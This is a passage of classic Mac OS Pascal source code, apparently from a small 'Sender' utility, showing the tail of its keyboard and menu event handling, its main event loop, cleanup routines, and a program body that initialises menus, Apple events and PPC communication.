                        theSize := menuKey(evnChar);
                        hiliteMenu(0);
                        menuID := hiWord(theSize);
                        if menuID = 0 then
                            doKeyDown(windows[currentWindow], evnChar, evnMods)
                        else
                            begin
                                item := loWord(theSize);
                                menNum := findMenuByID(menuID);
                                doMenu(menus[menNum], item);
                            end;
                    end
                else
                    doKeyDown(windows[currentWindow], evnChar, evnMods);
            end;

    end;

    procedure peckMain;
        var
            isMine: boolean;
            allMask: integer;
            anEvent: eventRecord;
            evnCode: integer;
    begin
        gWNEImplemented := (NGetTrapAddress(WNE_TRAP_NUM, ToolTrap) <> NGetTrapAddress(UNIMPLEMENTED_TRAP_NUM, ToolTrap));
        while not wantsToQuit do                                        {Make sure user doesn't wanna leave}
            begin
                if gWNEImplemented then
                    isMine := waitNextEvent(everyEvent, anEvent, 10, nil)
                else
                    begin
                        systemTask;
                        isMine := getNextEvent(everyEvent, anEvent);
                    end;

                if (isMine) or (anEvent.what = nullEvent) then                {Null event returns false}
                    doEvent(anEvent);

                DoEveryTime;
            end;
    end;

    procedure peckHalt;
        var
            winCountr, menCountr: integer;
    begin
        for winCountr := 1 to curNumWindows do
            disposeWindow(windows[winCountr]);
        for menCountr := 1 to curNumMenus do
            disposeMenu(menus[menCountr]);
    end;

{---------- End of Peck Event Routines -----------}

begin
    PeckInit(15);
    PeckApple('About Sender...');
    gFileMenu := GetMenu(128);
    PeckNewMenu(gFileMenu, false);
    gWasteMenu := GetMenu(129);
    PeckNewMenu(gWasteMenu, true);

    g_sleepTicks := wakeUp;
    g_quit := false;
    InitAEStuff;
    err := PPCInit;
    InitPData(pd);
    DoOpen(pd);

    gNextDelayed := false;
    gNextUsage := false;
    gNextMouse := false;
    gDelayCheck := 2;
    gNextQueue := false;
    gDelaySecs := 0;

    PeckMain;
    Quit;
    PeckHalt;
end.